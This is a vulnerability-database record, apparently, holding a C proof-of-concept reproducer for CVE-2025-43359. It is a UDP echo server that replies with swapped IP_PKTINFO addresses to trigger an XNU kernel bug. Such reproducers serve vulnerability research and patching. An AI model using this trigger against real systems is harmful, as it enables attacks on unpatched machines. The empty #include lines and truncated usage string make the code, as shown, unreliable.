{"uuid": "cad545ef-bcc2-49db-bb4c-03e8eb00d116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-43359", "type": "seen", "source": "https://gist.github.com/samarthop2011/1abc5b244b19296d4e8144225187c0b0", "content": "#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define BUFFER_SIZE 1024\n#define CONTROL_BUFFER_SIZE 1024\n\n// This is a PoC/reproducer for CVE-2025-43359\n// See https://stek29.rocks/2025/10/13/xnu-udp-pktinfo-cve for the full report\n\nvoid uslogf(const char *fmt, ...) {\n  va_list args;\n  va_start(args, fmt);\n  fprintf(stdout, \"[%d] \", getpid());\n  vfprintf(stdout, fmt, args);\n  va_end(args);\n}\n\nvoid print_hex(const unsigned char *data, size_t len) {\n  for (size_t i = 0; i < len; ++i) {\n    if (i % 16 == 0)\n      fprintf(stdout, \"[%d] \", getpid());\n    printf(\"%02x \", data[i]);\n    if ((i + 1) % 16 == 0)\n      printf(\"\\n\");\n  }\n  if (len % 16 != 0)\n    printf(\"\\n\");\n}\n\nvoid print_bound_address(int sockfd, const char *label) {\n  struct sockaddr_in addr;\n  socklen_t addrlen = sizeof(addr);\n  if (getsockname(sockfd, (struct sockaddr *)&addr, &addrlen) == 0) {\n    char ip[INET_ADDRSTRLEN];\n    inet_ntop(AF_INET, &addr.sin_addr, ip, sizeof(ip));\n    uslogf(\"[%s] Bound address: %s:%d\\n\", label, ip, ntohs(addr.sin_port));\n  } else {\n    perror(\"getsockname failed\");\n  }\n}\n\nvoid print_control_messages(struct msghdr *msg) {\n  struct cmsghdr *cmsg;\n  for (cmsg = CMSG_FIRSTHDR(msg); cmsg != NULL; cmsg = CMSG_NXTHDR(msg, cmsg)) {\n    uslogf(\"control: level=%d, type=%d, len=%u\\n\", cmsg->cmsg_level,\n           cmsg->cmsg_type, (unsigned)cmsg->cmsg_len);\n\n    if (cmsg->cmsg_level == IPPROTO_IP && cmsg->cmsg_type == IP_PKTINFO) {\n      struct in_pktinfo *pktinfo = (struct in_pktinfo *)CMSG_DATA(cmsg);\n      char dst[INET_ADDRSTRLEN], spec[INET_ADDRSTRLEN];\n      inet_ntop(AF_INET, &pktinfo->ipi_addr, dst, sizeof(dst));\n      inet_ntop(AF_INET, &pktinfo->ipi_spec_dst, spec, sizeof(spec));\n      uslogf(\"addr: %s, spec_dst: %s (interface index: %d)\\n\", dst, spec,\n             pktinfo->ipi_ifindex);\n    }\n  }\n}\n\nint main(int argc, char *argv[]) {\n  if (argc != 3) {\n    fprintf(stderr, \"Usage: %s  \\n\", argv[0]);\n    return EXIT_FAILURE;\n  }\n\n  const char *listen_addr = argv[1];\n  int port = atoi(argv[2]);\n\n  int sockfd;\n  struct sockaddr_in server_addr, client_addr;\n  char buffer[BUFFER_SIZE];\n  char control_buffer[CONTROL_BUFFER_SIZE];\n  struct iovec iov[1];\n  struct msghdr msg;\n  struct cmsghdr *cmsg;\n  struct in_pktinfo *pktinfo;\n  socklen_t client_len = sizeof(client_addr);\n\n  if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {\n    perror(\"socket failed\");\n    exit(EXIT_FAILURE);\n  }\n\n  int opt = 1;\n  if (setsockopt(sockfd, IPPROTO_IP, IP_PKTINFO, &opt, sizeof(opt)) < 0) {\n    perror(\"setsockopt IP_PKTINFO failed\");\n    close(sockfd);\n    exit(EXIT_FAILURE);\n  }\n\n  memset(&server_addr, 0, sizeof(server_addr));\n  server_addr.sin_family = AF_INET;\n  inet_pton(AF_INET, listen_addr, &server_addr.sin_addr);\n  server_addr.sin_port = htons(port);\n\n  if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {\n    perror(\"bind failed\");\n    close(sockfd);\n    exit(EXIT_FAILURE);\n  }\n\n  uslogf(\"Listening on %s:%d\\n\", listen_addr, port);\n  print_bound_address(sockfd, \"initial\");\n\n  while (1) {\n    memset(&msg, 0, sizeof(msg));\n    memset(&client_addr, 0, sizeof(client_addr));\n    memset(control_buffer, 0, CONTROL_BUFFER_SIZE);\n\n    iov[0].iov_base = buffer;\n    iov[0].iov_len = sizeof(buffer);\n\n    msg.msg_name = &client_addr;\n    msg.msg_namelen = sizeof(client_addr);\n    msg.msg_iov = iov;\n    msg.msg_iovlen = 1;\n    msg.msg_control = control_buffer;\n    msg.msg_controllen = CONTROL_BUFFER_SIZE;\n\n    ssize_t n = recvmsg(sockfd, &msg, 0);\n    if (n < 0) {\n      perror(\"recvmsg failed\");\n      continue;\n    }\n\n    uslogf(\"[recvmsg] control buffer (%u bytes):\\n\", msg.msg_controllen);\n    print_hex((unsigned char *)msg.msg_control, msg.msg_controllen);\n    print_control_messages(&msg);\n\n    pktinfo = NULL;\n    for (cmsg = CMSG_FIRSTHDR(&msg); cmsg != NULL;\n         cmsg = CMSG_NXTHDR(&msg, cmsg)) {\n      if (cmsg->cmsg_level == IPPROTO_IP && cmsg->cmsg_type == IP_PKTINFO) {\n        pktinfo = (struct in_pktinfo *)CMSG_DATA(cmsg);\n        break;\n      }\n    }\n\n    char client_ip[INET_ADDRSTRLEN];\n    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, sizeof(client_ip));\n    uslogf(\"received %zd bytes from %s:%d\\n\", n, client_ip,\n           ntohs(client_addr.sin_port));\n    print_hex((unsigned char *)buffer, n);\n\n    struct msghdr reply_msg;\n    struct iovec reply_iov[1];\n    char reply_ctrl[CONTROL_BUFFER_SIZE];\n    memset(&reply_msg, 0, sizeof(reply_msg));\n    memset(reply_ctrl, 0, sizeof(reply_ctrl));\n\n    reply_iov[0].iov_base = buffer;\n    reply_iov[0].iov_len = n;\n\n    reply_msg.msg_name = &client_addr;\n    reply_msg.msg_namelen = sizeof(client_addr);\n    reply_msg.msg_iov = reply_iov;\n    reply_msg.msg_iovlen = 1;\n    reply_msg.msg_control = reply_ctrl;\n    reply_msg.msg_controllen = CMSG_SPACE(sizeof(struct in_pktinfo));\n\n    struct cmsghdr *reply_cmsg = CMSG_FIRSTHDR(&reply_msg);\n    reply_cmsg->cmsg_level = IPPROTO_IP;\n    reply_cmsg->cmsg_type = IP_PKTINFO;\n    reply_cmsg->cmsg_len = CMSG_LEN(sizeof(struct in_pktinfo));\n\n    struct in_pktinfo *reply_pktinfo =\n        (struct in_pktinfo *)CMSG_DATA(reply_cmsg);\n    memset(reply_pktinfo, 0, sizeof(struct in_pktinfo));\n\n    if (pktinfo) {\n      reply_pktinfo->ipi_ifindex = pktinfo->ipi_ifindex;\n      reply_pktinfo->ipi_spec_dst = pktinfo->ipi_addr;\n      reply_pktinfo->ipi_addr = pktinfo->ipi_spec_dst;\n    }\n\n    uslogf(\"[sendmsg] control buffer (%u bytes):\\n\", reply_msg.msg_controllen);\n    print_hex((unsigned char *)reply_msg.msg_control, reply_msg.msg_controllen);\n    print_control_messages(&reply_msg);\n\n    print_bound_address(sockfd, \"before sendmsg\");\n    if (sendmsg(sockfd, &reply_msg, 0) < 0) {\n      perror(\"sendmsg failed\");\n    } else {\n      uslogf(\"sent %zd bytes to %s:%d\\n\", n, client_ip,\n             ntohs(client_addr.sin_port));\n      print_hex((unsigned char *)buffer, n);\n    }\n    print_bound_address(sockfd, \"after sendmsg\");\n  }\n\n  close(sockfd);\n  return 0;\n}\n", "creation_timestamp": "2026-08-24T17:06:18.541418Z"}